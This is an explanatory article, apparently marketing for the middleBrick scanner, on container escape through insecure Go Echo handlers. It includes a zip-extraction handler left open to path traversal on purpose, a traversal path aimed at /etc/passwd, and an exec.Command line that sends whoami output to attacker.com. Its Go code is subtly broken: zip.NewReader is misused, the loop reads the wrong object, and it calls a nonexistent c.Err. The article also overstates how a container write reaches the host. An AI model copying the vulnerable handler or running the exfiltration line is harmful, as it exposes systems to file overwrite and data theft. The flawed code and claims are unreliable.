Container Escape in Echo Go (Go)

Echo is a minimalist Go web framework that routes HTTP requests through handlers. When running in a containerized environment, the security boundary depends on isolation mechanisms such as namespaces, cgroups, and filesystem restrictions. A container escape occurs when an attacker exploits a flaw in the application or its runtime to break out of these isolation boundaries.

In Echo, handlers often parse request data and may invoke system commands, process files, or interact with the host filesystem. If a handler accepts untrusted input and passes it directly to a shell command, the process can be tricked into executing arbitrary code on the host system. This is especially dangerous in Go applications that use the os/exec package improperly.

For example, consider an Echo endpoint that processes user-uploaded ZIP files:

func UploadHandler(c echo.Context) error {
    file, _ := c.FormFile("archive")
    if file == nil {
        return c.String(http.StatusBadRequest, "missing archive")
    }
    // Extract archive to current working directory
    archive, _ := file.Open()
    defer archive.Close()
    archiveReader := zip.NewReader(archive, 10*1024*1024)
    for _, file := range archive.File {
        zipFile, _ := file.Open()
        defer zipFile.Close()
        target := file.Name
        // Vulnerable: no path traversal check
        err := os.WriteFile(target, readAll(zipFile), 0644)
        if err != nil {
            return c.Err(500)
        }
    }
    return c.String(200, "extracted")
}

An attacker can craft a ZIP file containing a path like ../../../../../../../../etc/passwd and write outside the intended directory, potentially overwriting system files. If the application runs with elevated privileges inside the container, the host system may be compromised.

Even more subtle is the use of symbolic links:

    // Inside loop
    realPath := filepath.Join(workDir, target)
    if strings.Contains(target, "..") {
        // Missing canonical path check
    }
    os.WriteFile(realPath, content, 0644)

Without resolving symbolic links or checking for path traversal, the application can be coerced into writing files to arbitrary locations on the host. In some environments, this can lead to overwriting SSH keys, modifying container runtime configurations, or injecting startup scripts that execute on the host.

Another attack vector involves invoking shell processes via exec.Command with unsanitized arguments:

cmd := exec.Command("/bin/sh", "-c", "curl http://attacker.com/$(whoami)")
    cmd.Run()

If the handler allows users to influence the command string, an attacker could inject additional commands or exfiltrate data.

Container escape in Echo Go is not inherent to the framework but is enabled by insecure coding practices. The framework provides routing and middleware but does not enforce security boundaries. The responsibility lies with the developer to validate inputs, avoid direct filesystem writes, and restrict system interactions.

When scanned by middleBrick, such vulnerabilities are flagged under the Privilege Escalation and Input Validation categories, resulting in a risk score that reflects the potential for container breakout.